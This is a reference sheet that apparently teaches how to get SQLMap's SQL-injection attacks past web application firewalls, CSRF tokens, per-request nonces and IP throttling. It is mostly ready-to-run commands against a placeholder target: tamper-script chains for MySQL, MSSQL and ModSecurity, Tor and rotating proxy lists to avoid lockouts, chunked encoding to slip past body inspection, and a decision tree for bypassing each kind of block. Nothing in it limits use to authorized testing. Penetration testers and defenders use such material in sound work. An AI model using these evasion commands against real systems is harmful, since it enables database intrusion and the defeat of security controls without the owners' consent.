When something between you and the DB is rewriting, blocking, or rejecting SQLMap’s traffic — WAF, CSRF, dynamic nonces, IP throttles — the flags below rework the request.

User-Agent — --random-agent

SQLMap’s default User-Agent is sqlmap/<ver>. Some WAFs 403 it instantly.

sqlmap -u "http://target/?id=1" --random-agent
sqlmap -u "http://target/?id=1" --user-agent="Mozilla/5.0 ..."

WAF Detection — --skip-waf

SQLMap probes for WAFs on startup (using identYwaf signatures). The probe itself can trip the WAF.

sqlmap -u "http://target/?id=1" --skip-waf

Skipping the probe does not bypass the WAF — it just avoids one easily-fingerprinted request.

Tamper Scripts — --tamper

Python modules that rewrite payloads before they’re sent. Chain multiple; SQLMap runs them in priority order.

--list-tampers                              # show all installed
--tamper=space2comment                      # one script
--tamper=space2comment,charencode,randomcase  # chain

Common Tamper Scripts

ScriptTransformation
0eunionRewrites UNION
base64encodeBase64-encodes payload characters
between= → BETWEEN ... AND ...
commalesslimitMySQL LIMIT M,N → LIMIT N OFFSET M
equaltolike= → LIKE
halfversionedmorekeywordsMySQL versioned comments around keywords
modsecurityversionedWraps query in MySQL versioned comment
modsecurityzeroversionedZero-versioned MySQL comment
percentagePrepends % to characters (ASP)
plus2concat+ → MSSQL CONCAT()
randomcaseRandom keyword capitalization
space2commentSpaces → /**/
space2dashSpaces → -- \n
space2hashSpaces → #\n (MySQL)
space2mssqlblankSpaces → MSSQL alternative blanks
space2plusSpaces → +
space2randomblankSpaces → random whitespace
symboliclogicalAND/OR → &&/`
versionedkeywordsKeywords inside MySQL versioned comments
versionedmorekeywordsExpanded versioned-comment transforms

DBMS-Specific Starter Combos

# MySQL + generic WAF
--tamper=space2comment,randomcase,charencode
 
# MySQL + ModSecurity
--tamper=modsecurityversioned,space2hash,halfversionedmorekeywords
 
# MSSQL
--tamper=space2mssqlblank,charunicodeencode,randomcase
 
# ASP / .NET
--tamper=percentage,apostrophenullencode,charunicodeencode
 
# Base64-tolerant stacks
--tamper=base64encode

Custom tamper scripts go in sqlmap/tamper/ — any Python file exposing tamper(payload, **kwargs) works.

Transport — Proxy & Tor

--proxy="http://127.0.0.1:8080"              # Burp
--proxy="socks5://127.0.0.1:1080"
--proxy-file="proxies.txt"                   # rotate through a list
--tor                                        # local Tor SOCKS
--tor-type=SOCKS5
--check-tor                                  # verify Tor is really being used

Rate-Limiting / Timing

--delay=1               # seconds between requests
--timeout=30            # per-request timeout
--retries=5             # on failure
--safe-url="http://target/ping" --safe-freq=3   # ping safe URL every 3 injection requests to avoid lockout
--random-agent          # also helps against IP+UA fingerprinting

CSRF Tokens — --csrf-token

App requires a fresh token in every request. SQLMap scrapes new tokens from each response.

sqlmap -u "http://target/" \
  --data="id=1&csrf_token=<TOKEN>" \
  --csrf-token="csrf_token"
 
# Fetch the token from a separate URL
sqlmap -u "http://target/action" \
  --data="id=1&csrf=<TOKEN>" \
  --csrf-token="csrf" \
  --csrf-url="http://target/form"

SQLMap auto-detects common names: csrf, xsrf, token, authenticity_token.

Per-Request Nonces — --randomize

App expects a new unique value each request (not necessarily cryptographic — just not-the-same).

sqlmap -u "http://target/?id=1&rp=29125" --randomize=rp

Derived Parameters — --eval

App derives one parameter from another (e.g. h = md5(id)). Recalculate before each request.

sqlmap -u "http://target/?id=1&h=<HASH>" \
  --eval="import hashlib; h=hashlib.md5(str(id).encode()).hexdigest()" \
  --batch

The variable id is live in the eval scope; assign to h and SQLMap rewrites the param.

Encoding Tricks

--chunked                   # chunked transfer encoding for POST body
--hpp                       # HTTP parameter pollution (?id=1&id=2)
--hex                       # hex-encode retrieved data
--no-cast                   # skip CAST() wrapping on retrieval

--chunked is particularly good against ModSecurity rules that inspect contiguous body content — splitting the payload across chunks often bypasses them.

Decision Tree

Something's blocking me
          │
          ├── 403 before any payload lands
          │      └── --random-agent, --skip-waf
          │
          ├── Specific keywords blocked
          │      └── --tamper=space2comment,randomcase[,charencode]
          │
          ├── IP rate-limited / locked out
          │      ├── --delay, --timeout, --safe-url
          │      ├── --proxy-file
          │      └── --tor
          │
          ├── Request needs a fresh token
          │      └── --csrf-token (+--csrf-url)
          │
          ├── Request needs a unique nonce
          │      └── --randomize
          │
          ├── One param derived from another
          │      └── --eval
          │
          └── Body inspection on POST
                 ├── --chunked
                 └── --hpp